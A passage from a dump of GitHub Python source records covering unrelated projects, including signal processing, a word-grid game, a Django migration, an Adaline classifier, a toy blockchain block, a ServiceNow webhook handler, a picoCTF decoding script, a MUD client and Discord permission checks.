\"\"\"\n framesamp = int(framesz*fs)\n hopsamp = int(hop*fs)\n w = scipy.hamming(framesamp)\n X = scipy.array([scipy.fft(w*x[i:i+framesamp],256)\n for i in range(0, len(x)-framesamp, hopsamp)])\n X=X[:,0:128]\n return X\n\n\n#########################################################################################\ndef kmeans(data):\n N=2\n mean=data[np.random.choice(data.shape[0], N, replace=False), :]\n classes=np.zeros((data.shape[0],1))\n for iter in range(50):\n for i in range(data.shape[0]):\n norm=float(\"inf\")\n for k in range(N):\n dist=np.linalg.norm(mean[k,:]-data[i,:])\n if (dist 0):\n if (len(adjetivos) > cant_adj):\n adj = adjetivos[:]\n lista = []\n while (True):\n pos = random.randint(0, len(adj)-1)\n if (not adj[pos] in lista):\n lista.append(adj[pos])\n del adj[pos]\n if (len(lista) == cant_adj):\n return (lista)\n else:\n # En caso de que haya menos palabras que las solicitadas\n return(adjetivos)\n else:\n return([])\n\n\ndef seleccionar_sustantivos(sustantivos, cant_sust=0):\n \"\"\"\n Se elegirán aleatoriamente, tantos sustantivos como se hayan\n solicitado.\n \n Args:\n sustantivos (list): Lista de sustantivos cargada desde el\n archivo.\n cant_sust (int): Cantidad de sustantivos que se seleccionarán\n para integrar la grilla.\n\n Returns:\n lista (list): Retorna la lista de palabras con la cantidad de\n elementos solicitados.\n \"\"\"\n\n if (cant_sust > 0):\n if (len(sustantivos) > cant_sust):\n sust = sustantivos[:]\n lista = []\n while (True):\n pos = random.randint(0, len(sust)-1)\n if (not sust[pos] in lista):\n lista.append(sust[pos])\n del sust[pos]\n if (len(lista) == cant_sust):\n return (lista)\n else:\n # En caso de que haya menos palabras que las solicitadas\n return(sustantivos)\n else:\n return([])\n\n\n\ndef seleccionar_verbos(verbos, cant_verbos=0):\n \"\"\"\n Se elegirán aleatoriamente, tantos verbos como se hayan solicitado.\n \n Args:\n verbos (list): Lista de verbos cargada desde el archivo.\n cant_verbos (int): Cantidad de verbos que se seleccionarán\n para integrar la grilla.\n\n Returns:\n lista (list): Retorna la lista de palabras con la cantidad de\n elementos solicitados.\n \"\"\"\n \n if (cant_verbos > 0):\n if (len(verbos) > cant_verbos):\n verb = verbos[:]\n lista = []\n while (True):\n pos = random.randint(0, len(verb)-1)\n if (not verb[pos] in lista):\n lista.append(verb[pos])\n del verb[pos]\n if (len(lista) == cant_verbos):\n return (lista)\n else:\n # En caso de que haya menos palabras que las solicitadas\n return(verbos)\n else:\n return([])\n\n\ndef seleccionar_palabras(cant_adj=0, cant_sust=0, cant_verb=0, upper_lower=UPPER):\n \"\"\"\n Se elegirán aleatoriamente del conjunto de palabras tantos\n sustantivos, verbos y adjetivos como se hayan configurado\n \n Args:\n cant_adj (int): Cantidad de adjetivos que se seleccionarán\n para integrar la grilla.\n cant_sust (int): Cantidad de sustantivos que se seleccionarán\n para integrar la grilla.\n cant_ver (int): Cantidad de verbos que se seleccionarán\n para integrar la grilla.\n\n Returns:\n palabras (dict): Diccionario que contiene las claves\n 'V' (verbos), 'S' (sustantivos) y\n 'A' (adjetivos) y por cada una de estas hay\n una lista con sus respectivas palabras.\n \"\"\"\n \n seleccionadas = {ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []}\n \n \n try:\n\n with open(NOMBRE_ARCHIVO) as f:\n palabras = json.load(f)\n \n if (ADJETIVOS in palabras):\n seleccionadas[ADJETIVOS] = seleccionar_adjetivos(palabras[ADJETIVOS], cant_adj)\n else:\n seleccionadas[ADJETIVOS] = []\n \n if (SUSTANTIVOS in palabras):\n seleccionadas[SUSTANTIVOS] = seleccionar_sustantivos(palabras[SUSTANTIVOS], cant_sust)\n else:\n seleccionadas[SUSTANTIVOS] = []\n \n if (VERBOS in palabras):\n seleccionadas[VERBOS] = seleccionar_verbos(palabras[VERBOS], cant_verb)\n else:\n seleccionadas[VERBOS] = []\n \n for k, v in seleccionadas.items():\n if (upper_lower == UPPER):\n seleccionadas[k] = [x.upper() for x in v]\n else:\n seleccionadas[k] = [x.lower() for x in v]\n \n \n return (seleccionadas)\n \n except (FileNotFoundError, IOError, OSError):\n sg.Popup('Atención', 'No existe el archivo de palabras o hay un error en la ruta.')\n return ({ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []})\n except (PermissionError):\n sg.Popup('Atención', 'No cuenta con permisos para abrir el archivo de palabras.')\n return ({ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []})\n except (EOFError):\n sg.Popup('Atención', 'Se excedió en la lectura del archivo.')\n return ({ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []})\n except ValueError:\n sg.Popup('Atención', 'Error en el formato del archivo.')\n return ({ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []})\n except:\n sg.Popup('Atención', 'Error al abrir el archivo.')\n return ({ADJETIVOS: [], SUSTANTIVOS: [], VERBOS: []})\n\n","repo_name":"facundopenaloza/PYTHON_TP_FINAL","sub_path":"funciones/funciones_admin_palabras.py","file_name":"funciones_admin_palabras.py","file_ext":"py","file_size_in_byte":14384,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5842879708","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('paciente', '0007_auto_20170308_2259'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='pregunta',\n name='posicion',\n field=models.CharField(max_length=3, null=True),\n ),\n migrations.AlterField(\n model_name='preguntarespuesta',\n name='respuesta',\n field=models.CharField(max_length=200),\n ),\n ]\n","repo_name":"USBeHealthProject/eHealth","sub_path":"paciente/migrations/0008_auto_20170314_1637.py","file_name":"0008_auto_20170314_1637.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36994126044","text":"# -*- coding: utf-8 -*-\n\nimport math\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nclass Adaline():\n def __init__(self, iterations=15, learning_rate=0.001):\n self.learning_rate = learning_rate\n self.iterations = iterations\n\n def fit(self, X, y):\n self.weights = np.zeros(1 + X.shape[1])\n self.cost_list = []\n\n for _ in range(self.iterations):\n predicted_value = self.linear_activation(X)\n\n errors = (y - predicted_value)\n\n self.weights[1:] += self.learning_rate * np.dot(X.T, errors)\n self.weights[0] += self.learning_rate * errors.sum()\n\n cost = (errors ** 2).sum() / 2\n self.cost_list.append(cost)\n\n return self\n\n def linear_activation(self, X):\n return np.dot(X, self.weights[1:]) + self.weights[0]\n\n def predict(self, X):\n return np.where(self.linear_activation(X) >= 0.0, 1, -1)\n\ndef create_input(n, noise):\n dataset_matrix = []\n y_matrix = []\n dataset = []\n\n for _ in range(0, n):\n #a = np.full((5, 5), -1, dtype=int)\n y = [[1, -1, -1, -1, 1],\n [-1, 1, -1, 1, -1],\n [-1, -1, 1, -1, -1],\n [-1, -1, 1, -1, -1],\n [-1, -1, 1, -1, -1]]\n #Y_mat = np.array(Y).reshape(-1, 5)\n\n for _ in range(0, noise):\n pos_x = np.random.randint(0, 5)\n pos_y = np.random.randint(0, 5)\n y[pos_x][pos_y] = -1\n\n dataset_matrix.append(y)\n y_matrix.append(1)\n\n flat_list = [item for sublist in y for item in sublist]\n flat_list.append(1)\n dataset.append(flat_list)\n\n y_inv = [[-1, -1, 1, -1, -1],\n [-1, -1, 1, -1, -1],\n [-1, -1, 1, -1, -1],\n [-1, 1, -1, 1, -1],\n [1, -1, -1, -1, 1]]\n\n for _ in range(0, noise):\n pos_x = np.random.randint(0, 5)\n pos_y = np.random.randint(0, 5)\n y_inv[pos_x][pos_y] = -1\n\n dataset_matrix.append(y)\n y_matrix.append(-1)\n\n flat_list = [item for sublist in y_inv for item in sublist]\n flat_list.append(-1)\n dataset.append(flat_list)\n\n np_dataset = np.array(dataset)\n np.random.shuffle(np_dataset)\n np.savetxt(\"input.csv\", np_dataset, delimiter=\",\", fmt='%d')\n\n return np_dataset\n\ndef train_test_split(dataset, percentage):\n np.random.shuffle(dataset)\n\n index_train_x = math.floor(percentage * dataset.shape[0])\n\n train = dataset[:index_train_x, :]\n y_train = train[:, -1]\n X_train = train[:, :-1]\n\n test = dataset[index_train_x:, :]\n y_test = test[:, -1]\n X_test = test[:, :-1]\n\n return (X_train, y_train, X_test, y_test)\n\ndef accuracy_score(y_pred, y_test):\n acc_counter = 0\n print(y_pred.shape[0])\n\n for i in range(0, y_pred.shape[0]):\n if y_pred[i] == y_test[i]:\n acc_counter += 1\n return 1 / (y_pred.shape[0]) * acc_counter\n\nsample_dataset = create_input(n = 50, noise = 5)\n\ntrain_x, train_y, test_x, test_y = train_test_split(sample_dataset, 0.7)\n\nmodel = Adaline(iterations = 15, learning_rate = 0.001)\n\nmodel.fit(train_x, train_y)\n\nplt.plot(range(1, len(model.cost_list) + 1), model.cost_list, marker = 'o', color = 'blue')\nplt.xlabel('Epoch')\nplt.ylabel('Mean Squared Error')\nplt.show()\n\nprint(accuracy_score(model.predict(test_x), test_y))\n","repo_name":"guilhermedom/adaline-neural-network","sub_path":"src/models/adaline.py","file_name":"adaline.py","file_ext":"py","file_size_in_byte":3369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38753335005","text":"from hashlib import sha256\nimport time\n\n\nclass Block:\n def __init__(self, index, prev_hash, data, nonce, timestamp=None):\n self.index = index # current transaction in the list\n self.prev_hash = prev_hash # previous block's hash\n self.data = data # transaction data\n self.nonce = nonce # proof number\n self.timestamp = timestamp or time.time()\n self.transactions = []\n\n @property\n def hash(self):\n return sha256(f\"{self.index}{self.prev_hash}{self.timestamp}{self.data}{self.nonce}\".encode()).hexdigest()\n\n def new_transaction(self, sender, recipient, amount):\n transaction = {\n \"sender\": sender,\n \"recipient\": recipient,\n \"amount\": amount\n }\n self.transactions.append(transaction)\n\n def block_info(self):\n return {\n \"index\": self.index,\n \"previous_hash\": self.prev_hash,\n \"timestamp\": self.timestamp,\n \"transactions\": self.transactions or None,\n \"nonce\": self.nonce\n }\n\n\nblock = Block(index=0, prev_hash=\"\", data=[], nonce=0)\nprint(block.block_info())\nblock.new_transaction(\"user 1\", \"user 2\", 0)\nprint(block.block_info())\nprint(block.hash)\n\n# print(bin(int(sha256(\"\".encode()).hexdigest(), 16)))\n\n\n# http://www.righto.com/2014/09/mining-bitcoin-with-pencil-and-paper.html\n# https://www.google.com/search?q=crypto+hash+contents&tbm=isch&ved=2ahUKEwiSqfbl8szuAhURG6wKHYMqCIAQ2-cCegQIABAA&oq=crypto+hash+contents&gs_lcp=CgNpbWcQA1Cq5QpY9fEKYIj0CmgBcAB4AIAB7AGIAf4GkgEFNC4xLjKYAQCgAQGqAQtnd3Mtd2l6LWltZ8ABAQ&sclient=img&ei=CikaYJL8IpG2sAWD1aCACA#imgrc=ajBMH7jMnjAB0M\n# https://www.freecodecamp.org/news/create-cryptocurrency-using-python/\n# https://hackernoon.com/learn-blockchains-by-building-one-117428612f46\n# https://en.wikipedia.org/wiki/Public-key_cryptography\n# https://michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/\n# https://www.youtube.com/watch?v=bBC-nXj3Ng4\n\n\n# use scrypt hash algorithm https://en.wikipedia.org/wiki/Scrypt\n# use https://en.wikipedia.org/wiki/Merkle_tree\n","repo_name":"nickpapciak/Crypto","sub_path":"block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29171813247","text":"# coding: utf-8\nimport mock\n\nfrom infra.awacs.proto import modules_pb2\nfrom awacs.wrappers.main import RemoteLog\nfrom awacs.wrappers.errors import ValidationError\nfrom awtest.wrappers import get_validation_exception\n\n\ndef test_remote_log():\n pb = modules_pb2.RemoteLogModule()\n remote_log = RemoteLog(pb)\n\n e = get_validation_exception(remote_log.validate, chained_modules=True)\n e.match('remote_log_storage.*is required')\n\n pb.remote_log_storage.SetInParent()\n remote_log.update_pb(pb)\n\n with mock.patch.object(remote_log.remote_log_storage, 'validate') as validate:\n remote_log.validate(chained_modules=True)\n validate.assert_called_once()\n\n with mock.patch.object(remote_log.remote_log_storage, 'validate', side_effect=ValidationError('BAD')) as validate:\n e = get_validation_exception(remote_log.validate, chained_modules=True)\n validate.assert_called_once()\n e.match('remote_log_storage: BAD')\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"infra/test_wrappers/test_remote_log.py","file_name":"test_remote_log.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29048304587","text":"# -*- coding: utf-8 -*-\nimport datetime\nimport pytest\nimport mock\n\nfrom balance import constants as cst\n\nfrom tests import object_builder as ob\nfrom tests.balance_tests.process_completions.common import (\n create_order,\n migrate_client,\n)\n\n\n@pytest.fixture(autouse=True)\ndef mock_month_closed(request):\n do_mock = 'dont_mock_mnclose' not in request.keywords\n patcher = mock.patch('balance.mncloselib.is_month_closed', return_value=False)\n if do_mock:\n patcher.start()\n yield\n if do_mock:\n patcher.stop()\n\n\n@pytest.fixture\ndef order(request, session):\n return create_order(session, **getattr(request, 'param', {}))\n\n\n@pytest.fixture\ndef client(session):\n client = ob.ClientBuilder.construct(session)\n migrate_client(client)\n client.exports['MIGRATE_TO_CURRENCY'].state = cst.ExportState.exported\n client.exports['MIGRATE_TO_CURRENCY'].export_dt = datetime.datetime.now()\n session.flush()\n return client\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/balance_tests/process_completions/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70167682001","text":"import base64\nimport urllib.parse\n\ndef main():\n encoding = (\"JTYzJTMwJTZlJTc2JTMzJTcyJTc0JTMxJTZlJTY3JTVm\" \n , \"JTY2JTcyJTMwJTZkJTVmJTYyJTYxJTM1JTY1JTVmJTM2\" \n , \"JTM0JTVmJTM4JTM0JTY2JTY0JTM1JTMwJTM5JTM1\")\n pw = \"\"\n pw = pw.join(encoding) #Concat string together\n \n decoded64 = base64.b64decode(pw) #decode the base64\n print(f'Decoding base64: {decoded64}')\n urlParsed = urllib.parse.unquote(decoded64) #decode the url encoding\n print(f'Parsing URL encoding: {urlParsed}')\n\nmain()","repo_name":"simk395/Writeups","sub_path":"PicoCTF2019/Reverse Engineering/Vault Doors/Vault Door 5/Vault-door-5.py","file_name":"Vault-door-5.py","file_ext":"py","file_size_in_byte":510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34966051811","text":"import os, json\nimport hashlib\nimport hmac\nimport base64\nfrom app import flask_app,db\nimport requests\nimport re\nfrom app.models import History\nimport dateutil.parser as dparser\n\n\ndef get_authdetail(data):\n '''\n Generates the Signature to be checked against the Header\n '''\n request_data = data\n hmac_obj = hmac.new(flask_app.config[\"SECRET_KEY\"].encode(\"ascii\"),request_data,hashlib.sha256)\n return base64.b64encode(hmac_obj.digest()).decode()\n\n\ndef create_incident_Ticket(data):\n '''\n Creates incident Ticket in ServiceNow\n '''\n try:\n #Information to written in Ticket\n Job = data['Job']\n start_time = Job['StartTime']\n end_time = Job['EndTime']\n machine_name = Job['Robot']['MachineName']\n error_message = \"StartTime:\" + start_time +\"; End_Time:\"+ end_time + \",Machine_Name:\" + machine_name +\",Error_Mesage:\" + Job['Info']\n process_name = Job['Release']['ProcessKey']\n \n # ServiceNow Information gathered from .env File\n url = flask_app.config['SERVICENOW_URL']\n username = flask_app.config['SERVICENOW_USERNAME']\n password = flask_app.config['SERVICENOW_SECRET']\n assignment_group =flask_app.config['SERVICENOW_ASSIGNMENT_GROUP']\n caller_id = flask_app.config['SERVICENOW_CALLER_ID']\n\n #setting Headers and Payload\n sn_headers = {'Content-Type':\"application/json\",'Accept':\"application/json\"}\n payload = {\"short_description\": process_name + \" - bot Failed\",\"description\": error_message,\n \"assignment_group\":assignment_group,\"caller_id\":caller_id}\n \n #Send POST request to Create Ticket\n response = requests.post(url,auth=(username,password),headers=sn_headers,json=payload)\n \n\n if(response.status_code != 201):\n # print('Status:', response.status_code, 'Headers:', response.headers, 'Error Response:', response.json())\n incident_number = \"NA\"\n response_return = {\"TicketStatus\":\"Ticket Creation Error\",\n \"responseCode\":response.status_code,\n \"response\":response.json(),\n \"number\":incident_number}\n ticket_status = {\"status\":False, \"data\":response_return}\n else:\n data = response.json()\n incident_number = data['result']['number']\n response_return = {\"TicketStatus\":\"CREATED\",\n \"responseCode\":response.status_code,\n \"response\":response.json(),\n \"number\":incident_number}\n ticket_status = {\"status\":True, \"data\":response_return}\n\n #Load the Response to DB\n dataload_status = load_to_db(process_name,machine_name,start_time,end_time,error_message,ticket_status,Job)\n return ticket_status\n\n except Exception as error:\n print(\"Error:\" + str(error))\n incident_number = \"NA\"\n response_return = (\"Corefunction Error\",'500',str(error),incident_number)\n return {\"status\":False,\"data\":response_return}\n\n\ndef load_to_db(process_name,machine_name,start_time,end_time,error_message,ticket_status,event_rawrepsonse):\n '''\n Loads the Information to DB\n '''\n try:\n data_to_db = History(\n processname=process_name,\n machinename=machine_name,\n starttime=convertStrintoDateTime(start_time),\n endtime=convertStrintoDateTime(end_time),\n boterrormessage=event_rawrepsonse['Info'],\n incidentnumber=ticket_status['data']['number'],\n incidentstatus=ticket_status['data']['TicketStatus'],\n incidentrawresponse=json.dumps(ticket_status['data']),\n eventrawresponse=json.dumps(event_rawrepsonse))\n db.session.add(data_to_db)\n db.session.commit()\n return True\n except Exception as error:\n print(\"Data Add error: \" + str(error))\n return False\n\ndef convertStrintoDateTime(str_datetime):\n '''\n Converts DateTime from String to Python Object\n ''' \n return dparser.parse(str_datetime,fuzzy=True)\n","repo_name":"sainath-s/UiPath_Webhook","sub_path":"app/corefunctions.py","file_name":"corefunctions.py","file_ext":"py","file_size_in_byte":4206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"70728155282","text":"#https://www.itread01.com/content/1541966776.html\n\n#https://medium.com/@syedtousifahmed/fibonacci-iterative-vs-recursive-5182d7783055#:~:text=Space%20Complexity%3A&text=Hence%20it's%20space%20complexity%20is,the%20implicit%20function%20call%20stack.\n\nclass Solution:\n def fib(self, n: int) -> int:\n #time:O(2**n):each time: we call same function twice\n #space:O(1)\n # def calculate(n):\n # if n<=1:\n # return n\n # else:\n # return calculate(n-1)+calculate(n-2)\n # ret=calculate(n)\n # return ret\n \n # #time:O(n)\n # #space:O(n)\n # if n<=1:\n # return n\n # arr = [0]*(n+1)\n # arr[0],arr[1]=0,1\n # for ind in range(2,n+1):\n # arr[ind]=arr[ind-1]+arr[ind-2]\n # return arr[n]\n \n \n #time:O(n)\n #space:O(1)\n if n<=1:\n return n\n cur=2\n first=0\n second=1\n for ind in range(2,n+1):\n cur=first+second\n first=second\n second=cur\n return cur\n\n","repo_name":"bigeyesung/Leetcode","sub_path":"509. Fibonacci Number.py","file_name":"509. Fibonacci Number.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7838905435","text":"import serial\nimport time\nimport numpy as np\n\nser=serial.Serial(\"/dev/ttyS0\",115200,timeout=1)\n\nclass UART:\n \n def __init__(self):\n \"\"\"\n Initialize the serial interface over seria0 on the raspberry pi 4\n \"\"\"\n self.ser=serial.Serial(\"/dev/ttyS0\",115200,timeout=1)\n \n \n def write(self,data):\n \"\"\"\n This function takes an AT command and then\n sends it over UART to serial0(14&15) on the raspberry\n pi 4.\n \"\"\"\n ser.write(bytes(\"{}\\r\".format(data),'utf-8'))\n time.sleep(0.2)\n \n def read(self):\n \"\"\"\n Reads the AT command receved from the RX buffer.\n The response must be an AT response with an OK at the end\n otherwise the read will not terminate it's reading process/it will\n hang.\n \"\"\"\n data=\"\"\n while True:\n byte=ser.read()\n data+=byte.decode('utf-8')\n\n \n if \"OK\" in data:\n ser.flushInput()\n ser.flushOutput()\n return data\n\n def get_data(self):\n \"\"\"Get a single sample from the spectrumeter and then return\n a list of float values representing the amplitude of\n spectrum values from min to max (6 channels).\n \"\"\"\n self.write(\"ATDATA\")\n data=self.read()\n \n #get list data\n data=data.replace(\"OK\",\"\").strip()\n data=data.split(\",\")\n for i in range(0,len(data)):\n data[i]=int(data[i].strip())\n \n #return int list data\n return data\n \n def get_average_reading(self,num_samples):\n \"\"\"\n This function reads the spectrometer values using method\n get_data(). It then calculates an average of the data read.\n The average is calculated over the number of samples specified in\n the argument. \n \"\"\"\n data=np.array(self.get_data())\n for i in range(1,int(num_samples)+1):\n data=(data+np.array(self.get_data()))*0.5\n return list(data)\n \n \nif __name__==\"__main__\":\n \n uart=UART()\n \n while True:\n print (\">\",end=\"\")\n input_data=input()\n print (input_data)\n uart.write(input_data)\n print(uart.read())\n","repo_name":"skmbatha/MEng-Skin-tone-estimation-using-VGG-16","sub_path":"Image capturing software/uart.py","file_name":"uart.py","file_ext":"py","file_size_in_byte":2310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34087965708","text":"class Solution:\n def findAnagrams(self, s: str, p: str) -> List[int]:\n p_map={}\n s_map={}\n res=[]\n if len(s) width:\n split = text.rfind(' ', 0, width - self.line_length)\n if split < width - 20:\n split = width - self.line_length\n self._addstr(text[:split] + '\\n')\n text = ' ' + (text[split:].lstrip())\n self._addstr(text)\n\n def display_text(self, text):\n text = self.telnet_protocol.sub('', text)\n while text:\n line, partition, text = text.partition('\\n')\n left = 0\n for m in self.ansi_codes.finditer(line):\n self.word_wrap(line[left:m.start()])\n self.parse_ansi(m.group(2), m.group(1))\n left = m.end()\n self.word_wrap(line[left:])\n self._addstr(partition)\n\n def display(self, text):\n self.inbuf = (self.inbuf + text)[-10000:]\n text = self.telnet_protocol.sub('', text)\n self.display_text(text)\n\n def screen_setup(self):\n curses.start_color()\n curses.noecho()\n curses.cbreak()\n curses.nl()\n\n self.prompt = curses.newpad(1, 1024)\n self.prompt.move(0, 0)\n self.prompt.keypad(1)\n self.prompt.nodelay(1)\n\n self.main_window = curses.newwin(self.height - 2, self.width - 1, 0, 0)\n self.main_window.leaveok(1)\n self.main_window.scrollok(1)\n self.main_window.idlok(1)\n\n for fg in xrange(8):\n for bg in xrange(8):\n if fg or bg:\n curses.init_pair(fg * 8 + bg, fg, bg)\n\n self.status = curses.newpad(1, self.width)\n self.status.bkgd('_', curses.color_pair(36))\n self.status.noutrefresh(0, 0, self.height - 2, 0, self.height - 1, self.width - 1)\n\n def poll(self, timeout=0.01):\n oready = self.outbuf and [self.sock] or []\n try:\n iready, oready, exc = select.select([self.sock], oready, [], timeout)\n if self.sock in oready:\n self.sock.sendall(self.outbuf)\n self.outbuf = ''\n if self.sock in iready:\n return self.sock.recv(4096)\n # survive interruptions from SIGWINCH\n except select.error:\n pass\n return ''\n\n def main(self, stdscr):\n self.height, self.width = stdscr.getmaxyx()\n self.screen_setup()\n self.display(\"\\n\\x1B[1;31mPyChor MUD Client\\x1B[0m\\n\")\n self.sock = socket.socket()\n self.sock.connect(('divineblood.org', 4000))\n while True:\n curses.doupdate()\n self.display(self.poll(0.05))\n key = self.prompt.getch()\n if key == curses.KEY_RESIZE:\n old_height, old_width = self.height, self.width\n self.height, self.width = stdscr.getmaxyx()\n new_main_window = curses.newwin(self.height - 2, self.width - 1, 0, 0)\n new_main_window.leaveok(1)\n new_main_window.scrollok(1)\n new_main_window.idlok(1)\n self.main_window.erase()\n self.main_window = new_main_window\n self.display_text(self.inbuf[-(self.width * self.height):])\n self.status.noutrefresh(0, 0, self.height - 2, 0, self.height - 1, self.width - 1)\n self.main_window.noutrefresh()\n self.prompt.noutrefresh(0, 0, self.height - 1, 0, self.height, self.width - 1)\n if key < 0:\n continue\n cursor_y, cursor_x = self.prompt.getyx()\n if key >= 30 and key <= 127:\n self.prompt.insstr(chr(key))\n self.prompt.move(cursor_y, cursor_x + 1)\n elif key == curses.KEY_UP:\n pass\n #up through buffer\n elif key == curses.KEY_DOWN:\n pass\n #down through buffer\n elif key == curses.KEY_BACKSPACE and cursor_x > 0:\n self.prompt.move(cursor_y, cursor_x - 1)\n self.prompt.delch()\n elif key == curses.KEY_LEFT and cursor_x > 0:\n self.prompt.move(cursor_y, cursor_x - 1)\n elif key == curses.KEY_RIGHT:\n self.prompt.move(cursor_y, cursor_x + 1)\n elif key == 21: # ^U\n self.prompt.erase()\n elif key == curses.KEY_ENTER or key == 10:\n for command in self.prompt.instr(0, 0, 1024).strip().split(';'):\n self.display(\"\\x1B[1;33m%s\\x1B[0m\\n\" % command.strip())\n self.outbuf += \"%s\\n\\r\" % command.strip()\n self.prompt.erase()\n\ncurses.wrapper(Client().main)\n\n","repo_name":"redbo/pychor","sub_path":"pychor.py","file_name":"pychor.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"25829461342","text":"import data\nimport numpy as np\nfrom scipy import sparse\nimport networkx as nx\nimport pandas as pd\nfrom src.algorithms.edge_length_computation import EdgeLengthSolver\nfrom src.objects.func_tree import FuncTree\nfrom src.objects.func_leaf_distance import FuncTreeLeafPairwiseDistances\nfrom src.factory.make_leaf_distance import get_KO_pairwise_dist\n\n\ndef test__create_A_matrix__with_small_edge_list():\n \"\"\"\n Uses a complete binary tree with 4 leaf nodes, all branch lengths set to 1\n :return: None\n \"\"\"\n dist_name = \"small_pairwise_distances.npy\"\n edge_list = data.get_data_abspath(\"small_edge_list.txt\")\n brite = \"ko00001\"\n distances_file = data.get_data_abspath(f\"sourmash/{dist_name}\")\n distances_labels_file = data.get_data_abspath(f\"sourmash/{dist_name}.labels.txt\")\n G = nx.read_edgelist(edge_list, delimiter='\\t', nodetype=str, create_using=nx.DiGraph)\n tree = FuncTree(G)\n tree.set_subtree(brite)\n pairwise_distances: FuncTreeLeafPairwiseDistances = get_KO_pairwise_dist(distances_file, distances_labels_file)\n\n solver = EdgeLengthSolver()\n A = solver.get_A_matrix(tree, pairwise_distances)\n\n assert A.shape == (4**2, 6+1)\n # use the hand-calculated A matrix to check that the output is correct\n A_correct = np.array([[0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 1, 0, 0],\n [0, 1, 1, 1, 0, 1, 0],\n [0, 1, 1, 1, 0, 0, 1],\n [0, 0, 0, 1, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 1, 1, 0, 1, 1, 0],\n [0, 1, 1, 0, 1, 0, 1],\n [0, 1, 1, 1, 0, 1, 0],\n [0, 1, 1, 0, 1, 1, 0],\n [0, 0, 0, 0, 0, 0, 0],\n [0, 0, 0, 0, 0, 1, 1],\n [0, 1, 1, 1, 0, 0, 1],\n [0, 1, 1, 0, 1, 0, 1],\n [0, 0, 0, 0, 0, 1, 1],\n [0, 0, 0, 0, 0, 0, 0]])\n assert np.allclose(A.toarray(), A_correct)\n\n\n\ndef test__edge_length_computation__with_small_edge_lengths():\n \"\"\"\n Uses a complete binary tree with 4 leaf nodes, all branch lengths set to 1\n :return: None\n \"\"\"\n dist_name = \"small_pairwise_distances.npy\"\n edge_list_file = data.get_data_abspath(\"small_edge_list.txt\")\n distances_file = data.get_data_abspath(f\"sourmash/{dist_name}\")\n distances_labels_file = data.get_data_abspath(f\"sourmash/{dist_name}.labels.txt\")\n brite = \"ko00001\"\n A_file = data.get_data_abspath(f\"{brite}_small_pairwise_distances.npy_A.npz\")\n basis_name = data.get_data_abspath(f\"{brite}_small_pairwise_distances.npy_column_basis.txt\")\n \n edge_list = pd.read_csv(edge_list_file, sep='\\t', header=0)\n\n with open(basis_name, 'r') as f:\n basis = f.readlines()\n basis = [line.strip() for line in basis]\n\n pairwise_distances = get_KO_pairwise_dist(distances_file, distances_labels_file)\n\n A = sparse.load_npz(A_file) \n\n solver = EdgeLengthSolver()\n df = solver.compute_edges(A=A, \n basis=basis, \n pairwise_distances=pairwise_distances, \n edge_list=edge_list, \n num_iter=10, \n factor=2, \n reg_factor=100, \n isdistance=True)\n\n # get the edge lengths\n edge_lengths = df[\"edge_length\"].values\n # check if the edge lengths are all close to 1\n assert np.allclose(edge_lengths, np.ones_like(edge_lengths), atol=1e-2)\n","repo_name":"KoslickiLab/FunUniFrac","sub_path":"tests/algorithms/test_edge_length_compute.py","file_name":"test_edge_length_compute.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"71955980563","text":"from discord import app_commands\nimport discord\nfrom bot.objects.errors import NotSetup\n\ndef is_ticket_admin():\n async def predicate(interaction:discord.Interaction):\n if not interaction.guild:\n raise app_commands.errors.NoPrivateMessage(\"This command can only be run in a guild.\")\n if interaction.user.guild_permissions.administrator:\n return True\n admin_roles = await interaction.client.db.get_ticket_admin_roles(interaction.guild.id)\n if admin_roles is None:\n raise NotSetup()\n elif admin_roles == []:\n raise NotSetup(\"No admin roles found.\")\n if not any([i for i in interaction.user.roles if i in admin_roles]):\n raise app_commands.errors.MissingAnyRole([i.id for i in admin_roles])\n else:\n return True\n \n return app_commands.check(predicate)\n","repo_name":"Neefs/goblin-bot","sub_path":"src/bot/utils/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"25220114474","text":"class State:\n \"\"\"\n This is a second possible implementation of a Finite Machine 